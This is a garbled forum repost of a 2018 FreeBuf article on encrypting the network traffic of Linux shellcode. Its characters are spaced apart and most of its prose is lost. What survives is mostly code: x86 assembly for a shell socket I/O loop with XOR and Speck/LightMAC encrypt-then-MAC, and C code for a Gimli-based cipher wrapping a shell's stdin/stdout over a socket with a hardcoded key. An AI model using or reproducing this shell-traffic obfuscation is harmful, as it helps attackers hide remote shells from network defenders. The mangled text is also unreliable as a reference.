[13136] 2018-09-02_Shellcode与加密流量之间的那些事儿

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-18
2018-09-02_Shellcode与加密流量之间的那些事儿 S h e l l c o d e A l p h a _ h 4 c k   F r e e B u f   2 0 1 8 - 0 9 - 0 2 T C P P I C L i n u x S h e l l S h e l l c o d e S h e l l c o d e :   L i n u x x 8 6 S h e l l S h e l l c o d e : L i n u x   A M D 6 4 S h e l l S h e l l c o d e : L i n u x   A R M S h e l l S h e l l c o d e A R M T L S W e b S S H I P S e c S H A - 2 B l o w f i s h R F I D 2 0 1 8 4 N I S T B L I N K E R S T R O B E L i b H y d r o g e n M o n o C y p h e r A E S   1 2 8 线
C T R M A C L i g h t M A C 使 A E S - G C M C h a C h a 2 0 P o l y 1 3 0 5 C h a C h a 2 0 2 0 0 P o l y 1 3 0 5 3 3 0 H M A C - S H A 2 P o l y 1 3 0 5 使 G i m l i J u s t   F o r   F u n W i n d o w s L i n u x L i n u x S h e l l c o d e
T C P S h e l l c o d e   x 8 6 8 使 h a x d u m p 8 C y b e r c h e f S p e c k L i g h t M A C ;             ;   r e a d ( r ,   b u f ,   B U F S I Z ,   0 ) ;             x o r       e s i ,   e s i                     ;   e s i   =   0             m o v       e c x ,   e d i                     ;   e c x   =   b u f             c d q                                             ;   e d x   =   0             m o v       d l ,   B U F S I Z                 ;   e d x   =   B U F S I Z             p u s h     S Y S _ r e a d                     ;   e a x   =   S Y S _ r e a d             p o p       e a x             i n t       0 x 8 0                         ;   e n c r y p t / d e c r y p t   b u f f e r             p u s h a d             x c h g     e a x ,   e c x x o r _ l o o p :             x o r       b y t e [ e a x + e c x - 1 ] ,   X O R _ K E Y             l o o p     x o r _ l o o p             p o p a d                         ;   w r i t e ( w ,   b u f ,   l e n ) ;             x c h g     e a x ,   e d x                     ;   e d x   =   l e n             m o v       a l ,   S Y S _ w r i t e             p o p       e b x                               ;   s   o r   i n [ 1 ]             i n t       0 x 8 0             j m p       p o l l _ w a i t
使 使 E n c r y p t - t h e n - M A C   ( E t M ) M A C - t h e n - E n c r y p t   ( M t E )   E n c r y p t - a n d - M A C ( E & M ) b i t s 3 2 % d e f i n e S P E C K _ R N D S         2 7 % d e f i n e N                             8 % d e f i n e K                           1 6     ; * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ; L i g h t   M A C   p a r a m e t e r s   b a s e d   o n   S P E C K 6 4 - 1 2 8 ; ;   N   = 6 4 - b i t s ;   K   = 1 2 8 - b i t s ; % d e f i n e C O U N T E R _ L E N G T H   N / 2     ;   s h o u l d   b e   < =   N / 2 % d e f i n e B L O C K _ L E N G T H       N     ;   e q u a l   t o   N % d e f i n e T A G _ L E N G T H           N     ;   > =   6 4 - b i t s   & &   < =   N % d e f i n e B C _ K E Y _ L E N G T H     K     ;   K % d e f i n e E N C R Y P T _ B L K   s p e c k _ e n c r y p t % d e f i n e G E T _ M A C   l i g h t m a c % d e f i n e L I G H T M A C _ K E Y _ L E N G T H   B C _ K E Y _ L E N G T H * 2   ;   K * 2 % d e f i n e k 0   e d i         % d e f i n e k 1   e b p         % d e f i n e k 2   e c x         % d e f i n e k 3   e s i % d e f i n e x 0   e b x         % d e f i n e x 1   e d x ;   e s i =   I N   d a t a ;   e b p =   I N   k e y s p e c k _ e n c r y p t :                   p u s h a d             p u s h       e s i                         ;   s a v e   M             l o d s d                                     ;   x 0   =   x - > w [ 0 ]             x c h g       e a x ,   x 0             l o d s d                                     ;   x 1   =   x - > w [ 1 ]             x c h g       e a x ,   x 1             m o v         e s i ,   e b p               ;   e s i   =   k e y             l o d s d             x c h g       e a x ,   k 0                 ;   k 0   =   k e y [ 0 ]               l o d s d             x c h g       e a x ,   k 1                 ;   k 1   =   k e y [ 1 ]             l o d s d             x c h g       e a x ,   k 2                 ;   k 2   =   k e y [ 2 ]             l o d s d               x c h g       e a x ,   k 3                 ;   k 3   =   k e y [ 3 ]                     x o r         e a x ,   e a x               ;   i   =   0 s p k _ e l :             ;   x 0   =   ( R O T R 3 2 ( x 0 ,   8 )   +   x 1 )   ^   k 0 ;             r o r         x 0 ,   8             a d d         x 0 ,   x 1             x o r         x 0 ,   k 0             ;   x 1   =   R O T L 3 2 ( x 1 ,   3 )   ^   x 0 ;             r o l         x 1 ,   3             x o r         x 1 ,   x 0             ;   k 1   =   ( R O T R 3 2 ( k 1 ,   8 )   +   k 0 )   ^   i ;             r o r         k 1 ,   8             a d d         k 1 ,   k 0             x o r         k 1 ,   e a x             ;   k 0   =   R O T L 3 2 ( k 0 ,   3 )   ^   k 1 ;             r o l         k 0 ,   3             x o r         k 0 ,   k 1                     x c h g       k 3 ,   k 2             x c h g       k 3 ,   k 1             ;   i + +             i n c         e a x             c m p         a l ,   S P E C K _ R N D S                     j n z         s p k _ e l             p o p         e d i                     x c h g       e a x ,   x 0                 ;   x - > w [ 0 ]   =   x 0             s t o s d             x c h g       e a x ,   x 1                 ;   x - > w [ 1 ]   =   x 1             s t o s d             p o p a d             r e t ;   e d x =   I N   l e n ;   e b x =   I N   m s g
;   e b x =   I N   m s g ;   e b p =   I N   k e y ;   e d i =   O U T   t a g             l i g h t m a c :             p u s h a d             m o v           e c x ,   e d x             x o r           e d x ,   e d x             a d d           e b p ,   B L O C K _ L E N G T H   +   B C _ K E Y _ L E N G T H                       p u s h a d                                   ;   a l l o c a t e   N - b y t e s   f o r   M             ;   z e r o   i n i t i a l i z e   T             m o v         [ e d i + 0 ] ,   e d x       ;   t - > w [ 0 ]   =   0 ;             m o v         [ e d i + 4 ] ,   e d x       ;   t - > w [ 1 ]   =   0 ;             ;   w h i l e   w e   h a v e   m s g   d a t a l m x _ l 0 :             m o v         e s i ,   e s p               ;   e s i   =   M             j e c x z     l m x _ l 2                   ;   e x i t   l o o p   i f m s g l e n   = =   0 l m x _ l 1 :             ;   a d d   b y t e   t o   M             m o v         a l ,   [ e b x ]             ;   a l   =   * d a t a + +             i n c         e b x             m o v         [ e s i + e d x + C O U N T E R _ L E N G T H ] ,   a l                                 i n c         e d x                         ;   i d x + +             ;   M   f i l l e d ?             c m p         d l ,   B L O C K _ L E N G T H   -   C O U N T E R _ L E N G T H             ;   - - m s g l e n             l o o p n e   l m x _ l 1             j n e         l m x _ l 2             ;   a d d   S   c o u n t e r   i n   b i g   e n d i a n   f o r m a t             i n c         d w o r d [ e s p + _ e d x ] ;   c t r + +             m o v         e a x ,   [ e s p + _ e d x ]             ;   r e s e t   i n d e x           c d q                                         ;   i d x   =   0             b s w a p     e a x                         ;   m . c t r   = S W A P 3 2 ( c t r )             m o v         [ e s i ] ,   e a x             ;   e n c r y p t   M   w i t h   E   u s i n g   K 1             c a l l       E N C R Y P T _ B L K             ;   u p d a t e   T             l o d s d                                     ;   t - > w [ 0 ]   ^ =   m . w [ 0 ] ;             x o r         [ e d i + 0 ] ,   e a x                         l o d s d                                     ;   t - > w [ 1 ]   ^ =   m . w [ 1 ] ;             x o r         [ e d i + 4 ] ,   e a x                               j m p         l m x _ l 0                   ;   k e e p   g o i n g l m x _ l 2 :             ;   a d d   t h e   e n d   b i t             m o v         b y t e [ e s i + e d x + C O U N T E R _ L E N G T H ] ,   0 x 8 0             x c h g       e s i ,   e d i               ;   s w a p   T   a n d   M l m x _ l 3 :             ;   u p d a t e   T   w i t h   a n y   m s g   d a t a r e m a i n i n g                     m o v         a l ,   [ e d i + e d x + C O U N T E R _ L E N G T H ]             x o r         [ e s i + e d x ] ,   a l             d e c         e d x             j n s         l m x _ l 3             ;   a d v a n c e   k e y   t o   K 2             a d d         e b p ,   B C _ K E Y _ L E N G T H             ;   e n c r y p t   T   w i t h   E   u s i n g   K 2             c a l l       E N C R Y P T _ B L K             p o p a d                                     ;   r e l e a s e   m e m o r y   f o r   M             p o p a d                                     ;   r e s t o r e   r e g i s t e r s             r e t ;   I N : e b p   =   g l o b a l   m e m o r y ,   e d i   =   m s g ,   e c x   =   e n c   f l a g ,   e d x   =   m s g l e n   ; O U T :   - 1   o r   l e n g t h   o f   d a t a   e n c r y p t e d / d e c r y p t e d e n c r y p t :             p u s h       - 1             p o p         e a x                         ;   s e t   r e t u r n   v a l u e t o   - 1             p u s h a d             l e a         e b p ,   [ e b p + @ c t x ]   ;   e b p   c r y p t o   c t x             m o v         e b x ,   e d i               ;   e b x   =   m s g                         p u s h a d                                   ;   a l l o c a t e   8 - b y t e s   f o r t a g + s t r m             m o v         e d i ,   e s p               ;   e d i   =   t a g             ;   i f   ( e n c )   {             ;     v e r i f y   t a g   +   d e c r y p t             j e c x z     e n c _ l 0             ;   m s g l e n   - =   T A G _ L E N G T H ;             s u b         e d x ,   T A G _ L E N G T H             j l e         e n c _ l 5                   ;   r e t u r n   - 1   i f   m s g l e n   < =   0             m o v         [ e s p + _ e d x ] ,   e d x             ;   G E T _ M A C ( c t x ,   m s g ,   m s g l e n ,   m a c ) ;             c a l l       G E T _ M A C             ;   m e m c m p ( m a c ,   & m s g [ m s g l e n ] , T A G _ L E N G T H )             l e a         e s i ,   [ e b x + e d x ]   ;   e s i   =   & m s g [ m s g l e n ]               c m p s d             j n z         e n c _ l 5                   ;   n o t   e q u a l ?   r e t u r n - 1             c m p s d               j n z         e n c _ l 5                   ;   d i t t o             ;   M A C s   a r e   e q u a l             ;   z e r o   t h e   M A C             x o r         e a x ,   e a x
S h e l l c o d e R C 4 G i m l i 使 G i m l i R C 4 G i m l i L i n u x   S h e l l 使 1 2 8             x o r         e a x ,   e a x             m o v         [ e s i - 4 ] ,   e a x             m o v         [ e s i - 8 ] ,   e a x e n c _ l 0 :             m o v         e d i ,   e s p             t e s t       e d x ,   e d x               ;   e x i t   i f   ( m s g l e n = =   0 )             j z           e n c _ l x             ;   m e m c p y   ( s t r m ,   c t x - > e _ c t r , B L O C K _ L E N G T H ) ;             m o v         e s i ,   [ e s p + _ e b p ] ;   e s i   =   c t x - > e _ c t r             p u s h       e d i             m o v s d             m o v s d             m o v         e b p ,   e s i             p o p         e s i                         ;   E N C R Y P T _ B L K ( c t x - > e _ k e y ,   & s t r m ) ;             c a l l       E N C R Y P T _ B L K             m o v         c l ,   B L O C K _ L E N G T H             ;   r = ( l e n   >   B L O C K _ L E N G T H )   ? B L O C K _ L E N G T H   :   l e n ; e n c _ l 2 :             l o d s b                                     ;   a l   =   * s t r m + +             x o r         [ e b x ] ,   a l             ;   * m s g   ^ =   a l             i n c         e b x                         ;   m s g + +             d e c         e d x             l o o p n z   e n c _ l 2                   ;   w h i l e   ( ! Z F & &   - - e c x )             m o v         c l ,   B L O C K _ L E N G T H             e n c _ l 3 :                                             ;   d o   {             ;   u p d a t e   c o u n t e r             m o v         e b p ,   [ e s p + _ e b p ]             i n c         b y t e [ e b p + e c x - 1 ]                     l o o p z     e n c _ l 3                   ;   }   w h i l e   ( Z F & &   - - e c x )             j m p         e n c _ l 0 e n c _ l x :             ;   e n c r y p t i n g ?   a d d   M A C   o f   c i p h e r t e x t             d e c         d w o r d [ e s p + _ e c x ]             m o v         e d x ,   [ e s p + _ e d x ]             j z           e n c _ l 4             m o v         e d i ,   e b x             m o v         e b x ,   [ e s p + _ e b x ]             m o v         e b p ,   [ e s p + _ e b p ]             ;   G E T _ M A C ( c t x ,   b u f ,   b u f l e n ,   m s g ) ;             c a l l       G E T _ M A C             ;   m s g l e n   + =   T A G _ L E N G T H ;             a d d         e d x ,   T A G _ L E N G T H e n c _ l 4 :             ;   r e t u r n   m s g l e n ;             m o v         [ e s p + 3 2 + _ e a x ] ,   e d x                         e n c _ l 5 :                         p o p a d             p o p a d             r e t # d e f i n e R ( v , n ) ( ( ( v ) > > ( n ) ) | ( ( v ) < < ( 3 2 - ( n ) ) ) ) # d e f i n e F ( n ) f o r ( i = 0 ; i < n ; i + + ) # d e f i n e X ( a , b ) ( t ) = ( s [ a ] ) , ( s [ a ] ) = ( s [ b ] ) , ( s [ b ] ) = ( t )     v o i d p e r m u t e ( v o i d * p ) {     u i n t 3 2 _ t   i , r , t , x , y , z , * s = p ;       f o r ( r = 2 4 ; r > 0 ; - - r ) {         F ( 4 )             x = R ( s [ i ] , 2 4 ) ,             y = R ( s [ 4 + i ] , 9 ) ,             z = s [ 8 + i ] ,                   s [ 8 + i ] = x ^ ( z + z ) ^ ( ( y & z ) * 4 ) ,             s [ 4 + i ] = y ^ x ^ ( ( x | z ) * 2 ) ,           s [ i ] = z ^ y ^ ( ( x & y ) * 8 ) ;         t = r & 3 ;                 i f ( ! t )             X ( 0 , 1 ) , X ( 2 , 3 ) ,             * s ^ = 0 x 9 e 3 7 7 9 0 0 | r ;               i f ( t = = 2 ) X ( 0 , 2 ) , X ( 1 , 3 ) ;     } }   t y p e d e f s t r u c t   _ c r y p t _ c t x   {         u i n t 3 2 _ t   i d x ;         i n t           f d r ,   f d w ;         u i n t 8 _ t   s [ 4 8 ] ;         u i n t 8 _ t   b u f [ B U F S I Z ] ; } c r y p t _ c t x ;     u i n t 8 _ t g f _ m u l ( u i n t 8 _ t   x )   {         r e t u r n   ( x   < <   1 )   ^   ( ( x   > >   7 )   * 0 x 1 b ) ; }   / / i n i t i a l i z e   c r y p t o   c o n t e x t v o i d i n i t _ c r y p t ( c r y p t _ c t x   * c ,   i n t   r ,   i n t   w ,   v o i d   * k e y )   {         i n t   i ;                 c - > f d r   =   r ;   c - > f d w   =   w ;                 f o r ( i = 0 ; i < 4 8 ; i + + )   {               c - > s [ i ]   =   ( ( u i n t 8 _ t * ) k e y ) [ i   %   1 6 ]   ^ g f _ m u l ( i ) ;         }         p e r m u t e ( c - > s ) ;         c - > i d x   =   0 ; }   / / e n c r y p t   o r   d e c r y p t   b u f f e r v o i d c r y p t ( c r y p t _ c t x   * c )   {         i n t   i ,   l e n ;           / /   r e a d   f r o m   s o c k e t   o r   s t d o u t         l e n   =   r e a d ( c - > f d r ,   c - > b u f ,   B U F S I Z ) ;                 / /   e n c r y p t / d e c r y p t         f o r ( i = 0 ; i < l e n ; i + + )   {             i f ( c - > i d x   > =   3 2 )   {                 p e r m u t e ( c - > s ) ;                 c - > i d x   =   0 ;             }             c - > b u f [ i ]   ^ =   c - > s [ c - > i d x + + ] ;         }         / /   w r i t e   t o   s o c k e t   o r   s t d i n         w r i t e ( c - > f d w ,   c - > b u f ,   l e n ) ; } / / u s i n g   a   s t a t i c   1 2 8 - b i t   k e y         c r y p t _ c t x                     * c ,   c 1 ,   c 2 ;                 / /   e c h o   - n   t o p _ s e c r e t _ k e y   |   o p e n s s l   m d 5 - b i n a r y   - o u t   k e y . b i n         / /   x x d   - i   k e y . b i n                 u i n t 8 _ t   k e y [ ]   =   {             0 x 4 f ,   0 x e f ,   0 x 5 a ,   0 x c c ,   0 x 1 5 ,   0 x 7 8 ,   0 x f 6 , 0 x 0 1 ,               0 x e e ,   0 x a 1 ,   0 x 4 e ,   0 x 2 4 ,   0 x f 1 ,   0 x a c ,   0 x f 9 , 0 x 4 9   } ; / /                 / /   c 1   i s   f o r   r e a d i n g   f r o m   s o c k e t   a n d w r i t i n g   t o   s t d i n                 i n i t _ c r y p t ( & c 1 ,   s ,   i n [ 1 ] ,   k e y ) ;                                 / /   c 2   i s   f o r   r e a d i n g   f r o m   s t d o u t   a n d w r i t i n g   t o   s o c k e t                 i n i t _ c r y p t ( & c 2 ,   o u t [ 0 ] ,   s ,   k e y ) ;                                 / /   n o w   l o o p   u n t i l   u s e r   e x i t s   o r   s o m e o t h e r   e r r o r                 f o r   ( ; ; )   {                     r   =   e p o l l _ w a i t ( e f d ,   & e v t s ,   1 , - 1 ) ;                                                         / /   e r r o r ?   b a i l   o u t                                           i f   ( r < = 0 )   b r e a k ;                                       / /   n o t   i n p u t ?   b a i l   o u t                     i f   ( ! ( e v t s . e v e n t s   &   E P O L L I N ) ) b r e a k ;                       f d   =   e v t s . d a t a . f d ;                                         c   =   ( f d   = =   s )   ?   & c 1   :   & c 2 ;                                           c r y p t ( c ) ;                           }
s h e l l c o d e 使 D i f f i e - H e l l m a n *   s e c u r e l i s t F B A l p h a _ h 4 c k F r e e B u f . C O M
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则